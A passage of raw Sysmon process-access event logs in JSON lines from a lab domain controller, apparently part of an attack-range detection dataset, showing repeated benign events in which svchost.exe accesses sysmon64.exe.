C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1283,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1284,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1285,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1286,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1287,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1288,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1289,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.562","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1290,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.562\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 